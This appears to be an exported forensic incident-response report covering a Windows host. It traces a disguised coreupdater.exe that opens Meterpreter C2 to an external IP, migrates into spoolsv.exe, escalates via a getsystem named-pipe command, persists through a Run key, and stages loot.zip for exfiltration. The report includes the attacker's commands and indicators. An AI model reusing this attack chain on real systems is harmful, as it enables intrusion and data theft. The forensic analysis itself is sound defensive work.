2020-09-19 03:40:42	execution	coreupdater.exe moved by Explorer from Administrator\Downloads to C:\Windows\System32	Saved via Edge Save-As (OpenSavePidlMRU 03:40:00). ShellBag System32 03:40:23, Explorer CopyPaste 03:40:09, $J RenameNewName in System32 03:40:42.254 (same MFT entry). Executed 03:40:49.	T1036.005	mftecmd_usnjrnl/usnjrnl.csv#35942 recmd_kroll/20261025191813/recmd_kroll_F_OpenSavePidlMRU.csv#2 sbecmd/Administrator_UsrClass.csv#34
2020-09-19 03:40:49	command and control	coreupdater.exe executed (PID 8324), C2 to 203.78.103.109:443	Prefetch LastRun 03:40:49; psscan PID 8324 03:40:49-03:43:10; flow port 50875	T1071	pecmd/prefetch_0.csv#22 volatility/windows.psscan.PsScan.jsonl#167 suricata/case001.pcap/eve_flow.jsonl#29788
2020-09-19 03:40:49	execution / defense evasion	Mark-of-the-Web removed from coreupdater.exe at launch (SmartScreen check)	USN StreamChange on MFT 26213 (System32\coreupdater.exe) at 03:40:49.317 coincides with execution and SmartScreen checkappexec.microsoft.com TLS (pcap 02:40:49); Zone.Identifier absent from $MFT at acquisition.	T1553.005 T1204.002	mftecmd_usnjrnl/usnjrnl.csv#36064 suricata/case001.pcap/eve_tls.jsonl#16333 mftecmd_mft/mft.csv#27972
2020-09-19 03:41:06	execution / persistence	Interactive cmd.exe opened by Administrator; sc.exe at 03:42:42 creates service	UserAssist Command Prompt.lnk/cmd.exe 03:41:06 (focus 3m35s), CMD prefetch; SC.EXE prefetch 03:42:42.66 coincides with 7045 coreupdater.	T1059.003 T1543.003	recmd_kroll/20261025191813/ recmd_kroll_F_UserAssist.csv#41 pecmd/prefetch_0.csv#125 evtxecmd/evtxecmd_0.csv#40866

Timestamp (UTC)	Phase	Event	Description	MITRE	References
2020-09-19 03:42:42	persistence	Service "coreupdater" installed (auto start, LocalSystem)	7045 RecordID 958 ImagePath C:\Windows\System32\coreupdater.exe	T1543.003	evtxecmd/evtxecmd_0.csv#40866
2020-09-19 03:43:10	defense evasion	coreupdater.exe (PID 8324) exits after Meterpreter migration into spoolsv.exe (PID 2188, SYSTEM)	psscan: coreupdater.ex PID 8324 (PPID 4008 explorer) 03:40:49 → exit 03:43:10. Memory at 05:10: spoolsv.exe PID 2188 (started at boot 01:24:09) holds a private PAGE_EXECUTE_READWRITE VadS region 0x1840000 beginning with an MZ header (malfind), a process handle to lsass.exe PID 656, and the C2 socket 10.42.85.115:50875 → 203.78.103.109:443 ESTABLISHED that was opened by coreupdater at 03:40:49 (pcap flow 50875 continues to end of capture, 280 KB up / 1.76 MB down). SRUM still attributes traffic to coreupdater.exe in the 04:14 and 05:14 slots. The exact migrate time is not logged; it lies between 03:40:49 and 03:43:10 (exit just before the getsystem service at 03:43:14).	T1055 T1055.001	volatility/ windows.psscan.PsScan.jsonl#167 volatility/windows.malware.malfind.Malfind.jsonl#1 volatility/windows.handles.Handles.jsonl#14206 volatility/windows.netscan.NetScan.jsonl#110 suricata/case001.pcap/eve_flow.jsonl#29788 srumecmd/20261025191812_SrumECmd_NetworkUsages_Output.csv#193
2020-09-19 03:43:14	privilege escalation	Meterpreter getsystem service "nehgye"	7045 RecordID 959 cmd.exe /c echo nehgye > \\.\pipe\nehgye; cmd prefetch run 03:43:14.99	T1134.001	evtxecmd/evtxecmd_0.csv#40867 pecmd/prefetch_0.csv#17
2020-09-19 03:44:03	persistence	HKLM Run "coreupdate" + registry payload HKLM\Software\q9Z1bssi written (fileless persistence)	HKLM\...\CurrentVersion\Run LastWrite 03:44:03.540241: value coreupdate runs hidden PowerShell that iex's base64 from HKLM\Software\q9Z1bssi\JqxNhWJA (Metasploit registry_persistence), 49 s after getsystem.	T1547.001 T1112	recmd_kroll/recmd_kroll_F.csv#7223 dissect/runkeys.jsonl#5
2020-09-19 03:45:34	collection	Administrator opens mortysmith's sensitive files (SSN, Plans, Portal_gun.png)	Notepad/Photos open My Social Security Number.txt (03:45:34), Plans.txt (03:45:39), Portal_gun.png (03:45:53); Thoughts.txt at 03:47:39.	T1005	lecmd/lnk_F.csv#13 lecmd/lnk_F.csv#14 lecmd/lnk_F.csv#15 pecmd/prefetch_0.csv#79
2020-09-19 03:46:15	collection	Explorer zip "My Social Security Number.zip" created in mortysmith\Documents, renamed loot.zip at 03:46:18	Explorer "Send to compressed folder" pattern (~RF*.TMP swap), MFT 87470-2. The file was renamed to loot.zip at 03:46:18.069 and permanently deleted at 03:47:09.917 without going through the Recycle Bin. The MFT entry was reused by Thoughts.lnk at 03:47:39.	T1560.001 T1070.004	mftecmd_usnjrnl/usnjrnl.csv#36753 mftecmd_usnjrnl/usnjrnl.csv#36776 mftecmd_usnjrnl/usnjrnl.csv#36805
2020-09-19 03:46:18	collection / anti-forensics	Archive staged as loot.zip in mortysmith\Documents (deleted 03:47:09)	My Social Security Number.zip created 03:46:15 via Explorer compressed folder, renamed loot.zip 03:46:18, LNK loot.lnk; FileDelete 03:47:09.92.	T1560.001 T1070.004	mftecmd_usnjrnl/usnjrnl.csv#36776 lecmd/lnk_F.csv#12 mftecmd_usnjrnl/usnjrnl.csv#36805
2020-09-19 03:46:18	exfiltration	loot.zip opened/accessed (ObjectId + loot.lnk) during live Meterpreter C2 session — probable exfil window until deletion 03:47:09	USN ObjectIdChange on loot.zip (MFT 87470) and creation of Recent\loot.lnk at 03:46:18.129; archive deleted 03:47:09.917. During this window the coreupdater/spoolsv Meterpreter session to 203.78.103.109:443 (flow port 50875, 280 KB total upstream) was active; no local copy observed.	T1041	mftecmd_usnjrnl/usnjrnl.csv#36778 mftecmd_usnjrnl/usnjrnl.csv#36780 suricata/case001.pcap/eve_flow.jsonl#29788
2020-09-19 03:49:46	discovery	Administrator browses ricksanchez profile folders (Desktop/Documents/Downloads) after mortysmith and Admin	ShellBags in the Administrator UsrClass: Admin profile folders 03:45:07-03:45:19, mortysmith folders 03:45:29-03:49:12, ricksanchez folders 03:49:46-03:51:14, last Explorer focus 03:51:53. The session logged off at 03:52:13.	T1083	sbecmd/Administrator_UsrClass.csv#31 sbecmd/Administrator_UsrClass.csv#29 sbecmd/Administrator_UsrClass.csv#19
2020-09-19 03:52:13	lateral movement	C137\Administrator logs off RDP session 3	4647 user-initiated logoff LogonId 0x857E73, 4634 type 3 0x842184, LSM 23/40/24 session 3 (source 10.42.85.10). End of interactive attacker session (03:36:24–03:52:13).	T1021.001	evtxecmd/evtxecmd_0.csv#39812 evtxecmd/evtxecmd_0.csv#39819
2020-09-19 05:08:15	persistence	C137\ricksanchez (Domain Admin) logs on locally (type 11 cached / type 7 unlock) — trigger for HKLM Run persistence	Security 4624 LogonType 11 (05:08:15.22) and LogonType 7 (05:08:15.42) for C137\ricksanchez on DESKTOP-SDN1RPT. Explorer startup processes HKLM\...\Run\coreupdate: powershell PID 508 (PPID 1380) created 05:08:37, spawns PID 3316 at 05:08:43 (reflective Meterpreter). This logon is most likely the responder's/user's session preceding the acquisition at 05:08:58 (USB insertion).	T1547.001	evtxecmd/evtxecmd_0.csv#39826 evtxecmd/evtxecmd_0.csv#39830 volatility/windows.psscan.PsScan.jsonl#101 volatility/windows.psscan.PsScan.jsonl#13
2020-09-19 05:08:40	persistence / C2	Run key "coreupdate" fires: hidden PowerShell Meterpreter loader	EID 600/4104; powershell PID 508 -> PID 3316; new C2 flow port 50972	T1547.001 T1059.001	evtxecmd/evtxecmd_0.csv#40903 evtxecmd/evtxecmd_0.csv#15081 volatility/windows.psscan.PsScan.jsonl#13
2020-09-19 05:08:45	command and control	Second Meterpreter session 10.42.85.115:50972 → 203.78.103.109:443 (Run key loader)	pcap 04:08:45 (+1 h); stage transfer alerts Bind_API; memory netscan ESTABLISHED; active until end of capture.	T1071 T1095	suricata/case001.pcap/ eve_flow.jsonl#16628 volatility/windows.netscan.NetScan.jsonl#114
2020-09-19 05:09:56	collection (responder)	Responder acquisition: FTK Imager run from USB E: "Incident_drive"	SanDisk Cruzer Glide (serial 4C530000261130109435) connected 05:08:58; E:\FTK Imager\FTK Imager.exe (SHA1 32756b3a319340c4b7fead410d3f36e503b30da2) executed 05:09:56; memory SystemTime 05:10:39.		pecmd/prefetch_0.csv#54 recmd_kroll/20261025191813/recmd_kroll_F_USBSTOR.csv#1

Timestamp (UTC)	Phase	Event	Description	MITRE	References
					volatility/windows.info.Info.jsonl#12

Detailed evidence timeline

All the evidence cited by the findings and the timeline, sorted by time.

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
	raw.vol_info	{"TreeDepth": "0", "Value": "2020-09-19 05:10:39+00:00", "Variable": "SystemTime"}	volatility/windows.info.Info.jsonl#12		F-001, T-003
	raw.vol_image	{"image": "C:\\Sleuthline\\cases\\test04\\memory\\DESKTOP-SDN1RPT.mem", "name": "DESKTOP-SDN1RPT.mem", "bytes": "2147483648", "sha256": "AC6EE0E8C273103B94D776F54192D2C6ACF8303AABBD6A199254030C69F667C3"}	volatility/memory_image.jsonl#1		F-001
	raw.pcap_files	{"file": "C:\\Sleuthline\\cases\\test04\\pcap\\case001.pcap", "name": "case001.pcap", "bytes": "197583252", "sha256": "09ABF49EFEA1852E047987D92907704D47F36D75F6C8056E2CAFA6CC027791CB"}	suricata/pcap_files.jsonl#1		F-001
	raw.prefetch_timeline	{"RunTime": "2020-09-19 05:08:37.5328773", "ExecutableName": "\\VOLUME{01d68d85e0da1e22-b0e0e8ff}\\WINDOWS\\SYSTEM32\\CMD.EXE"}	pecmd/prefetch_0_Timeline.csv#55		F-003
	raw.prefetch_timeline	{"RunTime": "2020-09-19 05:08:37.6563942", "ExecutableName": "\\VOLUME{01d68d85e0da1e22-b0e0e8ff}\\WINDOWS\\SYSTEM32\\WINDOWSPOWERSHELL\\V1.0\\POWERSHELL.EXE"}	pecmd/prefetch_0_Timeline.csv#308		F-003
	raw.vol_netscan	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50875", "Offset": "209519128050464", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/windows.netscan.NetScan.jsonl#110		F-008, F-011, F-017, I-004, I-020, T-027
	raw.vol_netscan	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50972", "Offset": "209519140929552", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/windows.netscan.NetScan.jsonl#114		F-010, F-017, T-016
	raw.vol_malfind	{"TreeDepth": "0", "CommitCharge": "36", "Disasm": "\"\n0x1840000:\tpop\tr10\n0x1840002:\tnop\t\n0x1840003:\tadd\tbyte ptr [rbx], al\n0x1840005:\tadd\tbyte ptr [rax], al\n0x1840007:\tadd\tbyte ptr [rax + rax], al\n0x184000a:\tadd\tbyte ptr [rax], al\"", "End VPN": "25575423", "File output": "Disabled", "Hexdump": "4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00	volatility/windows.malware.malfind.Malfind.jsonl#1		F-015, I-020, T-027
	raw.vol_handles	{"TreeDepth": "0", "GrantedAccess": "5136", "HandleValue": "1964", "Name": "lsass.exe Pid 656", "Offset": "209519057219712", "PID": "2188", "Process": "spoolsv.exe", "Type": "Process"}	volatility/windows.handles.Handles.jsonl#14206		F-015, T-027
	raw.vol_handles	{"TreeDepth": "0", "GrantedAccess": "1048608", "HandleValue": "1912", "Name": "\\Device\\HarddiskVolume3\\Users\\mortysmith\\Desktop", "Offset": "209519093754240", "PID": "2188", "Process": "spoolsv.exe", "Type": "File"}	volatility/windows.handles.Handles.jsonl#14195		F-015
	raw.vol_netstat	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50875", "Offset": "209519128050464", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/windows.netstat.NetStat.jsonl#12		F-015
	raw.vol_malfind	{"TreeDepth": "0", "CommitCharge": "36", "Disasm": "\"\n0x10c6c070000:\tpop\tr10\n0x10c6c070002:\tnop\t\n0x10c6c070003:\tadd\tbyte ptr [rbx], al\n0x10c6c070005:\tadd\tbyte ptr [rax], al\n0x10c6c070007:\tadd\tbyte ptr [rax + rax], al\n0x10c6c07000a:\tadd\tbyte ptr [rax], al\"", "End VPN": "1152863780863", "File output": "Disabled", "Hexdump": "4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 0	volatility/windows.malware.malfind.Malfind.jsonl#6		F-016
	raw.vol_netstat	{"TreeDepth": "0", "ForeignAddr": "203.78.103.109", "ForeignPort": "443", "LocalAddr": "10.42.85.115", "LocalPort": "50972", "Offset": "209519140929552", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/windows.netstat.NetStat.jsonl#15		F-016
	raw.vol_getsids	{"TreeDepth": "0", "Name": "Domain Admins", "PID": "508", "Process": "powershell.exe", "SID": "S-1-5-21-2232410529-1445159330-2725690660-512"}	volatility/windows.getsids.GetSIDs.jsonl#1062		F-016
	raw.vol_suspicious_threads	{"TreeDepth": "0", "Address": "1152857931776", "Context": "Win32Start", "Note": "VAD at base address (0x10c6bb00000) hosting this thread has an unexpected starting protection PAGE_EXECUTE_READWRITE", "PID": "3316", "Process": "powershell.exe", "TID": "3892", "VAD Path": "<Non-File Backed Region>"}	volatility/windows.malware.suspicious_threads.SuspiciousThreads.jsonl#44		F-016
	raw.vol_malfind	{"TreeDepth": "0", "CommitCharge": "1", "Disasm": "\"\n0x7df4f5a80000:\tadd\tbyte ptr [rax + rax + 0x65], dh\n0x7df4f5a80004:\tadd\tbyte ptr [rcx], cl\n0x7df4f5a80006:\tadd\tbyte ptr cs:	volatility/windows.malware.malfind.Malfind.jso		F-016

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		[rax], dh\n0x7df4f5a8000a:\toutsb\tdx, byte ptr [rsi]\n0x7df4f5a8000b:\tadd\tbyte ptr [rdi], ah\n0x7df4f5a8000e:\tor\tbyte ptr [rdx], al\n0x7df4f5a80010:\tjg\t0x7df4f5a8001a\ n0x7df4f5a80012:\tadd\tbyte ptr [rcx], a	nl#3		
	raw.vol_svclist	{"TreeDepth": "0", "Display": "coreupdater", "Name": "coreupdater", "Offset": "1402927956048", "Order": "662", "Start": "SERVICE_AUTO_START", "State": "SERVICE_STOPPED", "Type": "SERVICE_WIN32_OWN_PROCESS"}	volatility/ windows.svclist.SvcList.jsonl#22		F-020
	raw.vol_getsids	{"TreeDepth": "0", "Name": "Administrator", "PID": "8324", "Process": "coreupdater.ex", "SID": "S-1-5-21-2232410529-1445159330-2725690660-500"}	volatility/ windows.getsids.GetSIDs.jsonl#619		F-023, I-013
	raw.vol_getsids	{"TreeDepth": "0", "Name": "Domain Admins", "PID": "8324", "Process": "coreupdater.ex", "SID": "S-1-5-21-2232410529-1445159330-2725690660-512"}	volatility/ windows.getsids.GetSIDs.jsonl#632		F-023
	raw.vol_getsids	{"TreeDepth": "0", "Name": "Enterprise Admins", "PID": "8324", "Process": "coreupdater.ex", "SID": "S-1-5-21-2232410529-1445159330-2725690660-519"}	volatility/ windows.getsids.GetSIDs.jsonl#634		F-023
	raw.vol_getsids	{"TreeDepth": "0", "Name": "Domain Admins", "PID": "6544", "Process": "FTK Imager.exe", "SID": "S-1-5-21-2232410529-1445159330-2725690660-512"}	volatility/ windows.getsids.GetSIDs.jsonl#1176		F-023
	raw.vol_netscan	{"TreeDepth": "0", "ForeignAddr": "10.42.85.10", "ForeignPort": "445", "LocalAddr": "10.42.85.115", "LocalPort": "50957", "Offset": "209519101090720", "Proto": "TCPv4", "State": "ESTABLISHED"}	volatility/ windows.netscan.NetScan.jsonl#88		F-025
	raw.vol_psxview	{"TreeDepth": "0", "Name": "spoolsv.exe", "Offset(Virtual)": "209519070331392", "PID": "2188", "csrss": "true", "pslist": "true", "psscan": "true", "thrdscan": "true"}	volatility/ windows.malware.psxview.PsXView.jsonl#1		F-030
	raw.vol_malfind	{"TreeDepth": "0", "CommitCharge": "256", "Disasm": "\"\n0x25453170000:\tor\tecx, dword ptr [rcx - 0x50f7d6f4]\n0x25453170006:\tadd\tdword ptr [rdi + riz*2], edx\n0x25453170009:\ tadd\tedi, edi\n0x2545317000b:\tin\tal, dx\n0x2545317000d:\tcmp\tcl, byte ptr [rax]\"", "End VPN": "2561195573247", "File output": "Disabled", "Hexdump": "0b 89 0c 29 08 af 01 14 67 01 ff 36 ec 3a 08 07 37 04 64 11 04 48 2	volatility/ windows.malware.malfind.Malfind.jsonl#2		F-030
2019-12-07 09:03:44.539499	Jump Lists (automatic)	Target: created (recorded) C:\Windows\System32 Windows Explorer Windows 8.1 interactions=1 machine=desktop-sdn1rpt	jlecmd/ 20261025191825_AutomaticDestinations.csv#19	F:\Users\Administrator\AppData\ Roaming\Microsoft\Windows\Recent\ AutomaticDestinations\ f01b4d95cf55d32a.automaticDestinations-ms	F-027
2019-12-07 09:03:46	ShellBags	Folder: created (recorded) Desktop\This PC\C:\Windows\System32 Directory System32 MFT=3254 [explored]	sbecmd/ Administrator_UsrClass.csv#34		F-027, T-020
2020-02-25 17:36:10	LNK files	Target: created (recorded in the LNK) E:\ machine=desktop-sdn1rpt MAC=60:57:18:83:4f:f1 volume=A6125E71 Removable storage media (Floppy, USB) size=4096	lecmd/lnk_F.csv#25	F:\Users\ricksanchez\AppData\ Roaming\Microsoft\Windows\Recent\ Incident_drive (E).lnk	F-028
2020-09-18 04:58:02.307663	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2020-09-18 05:58:01.9239364 | NewTime: 2020-09-18 04:58:02.3055654 | LogonId: 0x3E5 | C:\Windows\System32\svchost.exe	evtxecmd/evtxecmd_0.csv#38143	F:\Windows\System32\winevt\logs\ Security.evtx	F-004
2020-09-18 05:41:16.821390	Event logs (EVTX)	EVTX event Security 4720 | Microsoft-Windows-Security-Auditing | A new account was created | Target: MINWINPC\WDAGUtilityAccount (S-1-5-21-41211245-796119838-3940169921-504)	evtxecmd/evtxecmd_0.csv#37494	F:\Windows\System32\winevt\logs\ Security.evtx	F-021
2020-09-18 05:41:33.459149	Event logs (EVTX)	EVTX event System 6005 | EventLog | The Event log service was started | Computer: WIN-2IH1TBB9I4Q	evtxecmd/evtxecmd_0.csv#39910	F:\Windows\System32\winevt\logs\ System.evtx	F-001
2020-09-18 05:46:38.921356	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\ComputerName\ComputerName System Info | System Info (Current) | ComputerName=DESKTOP-SDN1RPT	recmd_kroll/recmd_kroll_F.csv#1872	F:\Windows\System32\config\SYSTEM	F-001
2020-09-18 05:46:39.866681	Event logs (EVTX)	EVTX event Security 4720 | Microsoft-Windows-Security-Auditing | A new account was created | Target: DESKTOP-SDN1RPT\defaultuser0 (S-1-5-21-41211245-796119838-3940169921-1000)	evtxecmd/evtxecmd_0.csv#37621	F:\Windows\System32\winevt\logs\ Security.evtx	F-021
2020-09-18 05:49:07.890379	Registry: accounts (SAM)	Account created Admin RID=1001 logons=6 groups=Administrators	recmd_kroll/20261025191813/ recmd_kroll_F_UserAccounts.csv#5		F-001, F-005, F-021
2020-09-18 05:49:07.897871	Event logs (EVTX)	EVTX event Security 4720 | Microsoft-Windows-Security-Auditing | A new account was created | Target:	evtxecmd/evtxecmd_0.csv#37812	F:\Windows\System32\winevt\logs\ Security.evtx	F-021

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		DESKTOP-SDN1RPT\Admin (S-1-5-21-41211245-796119838-3940169921-1001)			
2020-09-18 05:49:08.012488	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Administrators (S-1-5-32-544) | SubjectLogonId: 0x3E7 | MemberName: - | MemberSid: S-1-5-21-41211245-796119838-3940169921-1001 | PrivilegeList: -	evtxecmd/evtxecmd_0.csv#37822	F:\Windows\System32\winevt\logs\Security.evtx	F-021
2020-09-18 05:49:10	ShellBags	Folder: created (recorded) Desktop\This PC\C:\Users\Admin\Documents Directory Documents MFT=84010 [explored]	sbecmd/Administrator_UsrClass.csv#19		F-026, T-022
2020-09-18 06:41:02.861987	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\TimeZoneInformation System Info | System Time Zone Information | TimeZoneKeyName=Pacific Standard Time | Pacific Standard Time	recmd_kroll/recmd_kroll_F.csv#1858	F:\Windows\System32\config\SYSTEM	F-001
2020-09-18 06:41:02.861987	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\TimeZoneInformation System Info | System Time Zone Information | ActiveTimeBias=420 | 420	recmd_kroll/recmd_kroll_F.csv#1859	F:\Windows\System32\config\SYSTEM	F-001
2020-09-18 21:40:22.975260	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Services\Tcpip\Parameters\Interfaces\{d2609205-c6f4-4151-b4e7-e2ac9452bcac} System Info | Network Configuration (IPv4) | IPAddress=10.42.85.115	recmd_kroll/recmd_kroll_F.csv#1890	F:\Windows\System32\config\SYSTEM	F-001
2020-09-18 21:40:22.975260	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Services\Tcpip\Parameters\Interfaces\{d2609205-c6f4-4151-b4e7-e2ac9452bcac} System Info | Network Configuration (IPv4) | NameServer=10.42.85.10	recmd_kroll/recmd_kroll_F.csv#1896	F:\Windows\System32\config\SYSTEM	F-001
2020-09-18 21:40:37.260392	Event logs (EVTX)	EVTX event Security 4726 | Microsoft-Windows-Security-Auditing | A user account was deleted | Target: DESKTOP-SDN1RPT\defaultuser0 (S-1-5-21-41211245-796119838-3940169921-1000) | SubjectLogonId: 0x1A6AA	evtxecmd/evtxecmd_0.csv#38364	F:\Windows\System32\winevt\logs\Security.evtx	F-001
2020-09-18 21:42:15.957439	Event logs (EVTX)	EVTX event Security 4648 | Microsoft-Windows-Security-Auditing | A logon was attempted using explicit credentials | Target: C137.LOCAL\Administrator | TargetServerName: CITADEL-DC01.C137.local | PID: 0x4 | TargetInfo: cifs/CITADEL-DC01.C137.local | 10.42.85.10:445	evtxecmd/evtxecmd_0.csv#38428	F:\Windows\System32\winevt\logs\Security.evtx	F-021
2020-09-18 21:42:16.235521	Event logs (EVTX)	EVTX event Security 4732 | Microsoft-Windows-Security-Auditing | A member was added to a security-enabled local group | Target: Builtin\Administrators (S-1-5-32-544) | SubjectLogonId: 0x1A6AA | MemberName: - | MemberSid: S-1-5-21-2232410529-1445159330-2725690660-512 | PrivilegeList: -	evtxecmd/evtxecmd_0.csv#38431	F:\Windows\System32\winevt\logs\Security.evtx	F-021
2020-09-18 21:42:27.001485	Event logs (EVTX)	EVTX event C:\Windows\system32\SystemSettingsAdminFlows.exe (DESKTOP-SDN1RPT) System 1074 | User32 | A user initiated a system restart | Hostname: DESKTOP-SDN1RPT | Reason: Other (Unplanned) | Type: restart | Code: 0x0 | C:\Windows\system32\SystemSettingsAdminFlows.exe (DESKTOP-SDN1RPT)	evtxecmd/evtxecmd_0.csv#40266	F:\Windows\System32\winevt\logs\System.evtx	F-001, T-001
2020-09-18 21:42:35.500078	Jump Lists (automatic)	Jump List: entry created (≈ first opened) C:\Users\mortysmith\Documents\My Social Security Number.txt Notepad 64-bit interactions=1 machine=desktop-sdn1rpt	jlecmd/20261025191825_AutomaticDestinations.csv#15	F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\9b9cdc69c1c24e2b.automaticDestinations-ms	F-013
2020-09-18 21:42:39.868133	Event logs (EVTX)	EVTX event System 6005 | EventLog | The Event log service was started | Computer: DESKTOP-SDN1RPT.C137.local	evtxecmd/evtxecmd_0.csv#40276	F:\Windows\System32\winevt\logs\System.evtx	F-001, T-001
2020-09-18 21:42:45.000755	Network history	nethist: created profile_name=C137.local | description=C137.local | dns_suffix=<none> | default_gateway_mac=000c2995cd21 | first_network=C137.local	dissect/network_history.jsonl#2		F-001
2020-09-18 21:42:45.755000	Registry: known networks	Network: first connected [local time converted to UTC, ActiveTimeBias=420 min] C137.local Wired passerelle=00-0C-29-95-CD-21 DNS=<none>	recmd_kroll/20261025191813/recmd_kroll_F_KnownNetworks.csv#1		F-001
2020-09-18 21:42:50.695343	Event logs (EVTX)	EVTX event -	evtxecmd/evtxecmd_0.csv#38517	F:\Windows\System32\winevt\logs\Security.evtx	F-021

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		Security 4625 | Microsoft-Windows-Security-Auditing | Failed logon | Target: \ | LogonType 3 | FailureReason1: clocks between DC and other computer too far out of sync | FailureReason2: N/A | - | - (-)			
2020-09-18 22:43:05.144373	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2020-09-18 21:43:05.9283863 | NewTime: 2020-09-18 22:43:05.1440626 | LogonId: 0x3E5 | C:\Windows\System32\svchost.exe	evtxecmd/evtxecmd_0.csv#38518	F:\Windows\System32\winevt\logs\Security.evtx	F-004
2020-09-18 22:44:12	ShellBags	Folder: created (recorded) Desktop\This PC\C:\Users\ricksanchez\Documents Directory Documents MFT=87867 [explored]	sbecmd/Administrator_UsrClass.csv#31		F-026, T-022
2020-09-18 22:45:26.988114	Registry (RECmd Kroll)	Registry: key last written ROOT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Map Network Drive MRU Network Shares | Network Drive MRU | a=\\CITADEL-DC01\FileShare	recmd_kroll/recmd_kroll_F.csv#1465	F:\Users\ricksanchez\NTUSER.DAT	F-025
2020-09-18 22:46:39.873256	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\mortysmith | LogonType 2 | LogonId: 0x270257 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\svchost.exe | DESKTOP-SDN1RPT (127.0.0.1)	evtxecmd/evtxecmd_0.csv#38681	F:\Windows\System32\winevt\logs\Security.evtx	F-021
2020-09-18 22:46:40	ShellBags	Folder: created (recorded) Desktop\This PC\C:\Users\mortysmith\Documents Directory Documents MFT=88824 [explored]	sbecmd/Administrator_UsrClass.csv#24		F-026
2020-09-18 22:46:40	ShellBags	Folder: created (recorded) Desktop\This PC\C:\Users\mortysmith\Saved Games Directory Saved Games MFT=88818 [explored]	sbecmd/Administrator_UsrClass.csv#29		F-026, T-022
2020-09-18 22:47:17	LNK files	Target: created (recorded in the LNK) C:\Users\mortysmith\Desktop\Thoughts.txt machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=B0E0E8FF Fixed storage media (Hard drive) size=7	lecmd/lnk_F.csv#16	F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\Thoughts.lnk	F-013
2020-09-18 22:47:38.408830	Prefetch	Execution (Prefetch, previous) NOTEPAD.EXE runs=6 hash=C5670914 False	pecmd/prefetch_0.csv#79	F:\Windows\prefetch\NOTEPAD.EXE-C5670914.pf	F-013, T-012
2020-09-18 22:47:57	LNK files	Target: created (recorded in the LNK) C:\Users\mortysmith\Documents\Plans.txt machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=B0E0E8FF Fixed storage media (Hard drive) size=141	lecmd/lnk_F.csv#14	F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\Plans.lnk	F-013, T-012
2020-09-18 22:50:19	LNK files	Target: created (recorded in the LNK) C:\Users\mortysmith\Documents\My Social Security Number.txt machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=B0E0E8FF Fixed storage media (Hard drive) size=22	lecmd/lnk_F.csv#13	F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\My Social Security Number.lnk	F-013, T-012
2020-09-18 22:50:19.426026	$MFT	$SI creation (B) ; $FN modification (M) ; $FN access (A) ; $FN MFT change (C) F:\Users\mortysmith\Documents\My Social Security Number.txt size=22	mftecmd_mft/mft.csv#117827	F:\$MFT	F-026, F-031
2020-09-18 22:52:49.588649	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\ricksanchez | LogonType 2 | LogonId: 0x438E75 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\svchost.exe | DESKTOP-SDN1RPT (127.0.0.1)	evtxecmd/evtxecmd_0.csv#38782	F:\Windows\System32\winevt\logs\Security.evtx	F-021, F-022
2020-09-18 22:52:49.690941	Registry (RECmd Kroll)	Registry: key last written ROOT\Network\Z Network Shares | Network Shares | RemotePath=\\CITADEL-DC01\FileShare	recmd_kroll/recmd_kroll_F.csv#1462	F:\Users\ricksanchez\NTUSER.DAT	F-025
2020-09-18 22:52:57.112379	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows Defender\Exclusions\Paths Threat Hunting | Windows Defender	recmd_kroll/recmd_kroll_F.csv#8632	F:\Windows\System32\config\SOFTWARE	F-007, F-030
2020-09-18	Prefetch	Execution (Prefetch, previous)	pecmd/prefetch_0.csv#17	F:\Windows\prefetch\CMD.EXE-	F-009, F-012,

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
22:53:11.065740		CMD.EXE runs=9 hash=BD30981 False		0BD30981.pf	T-009
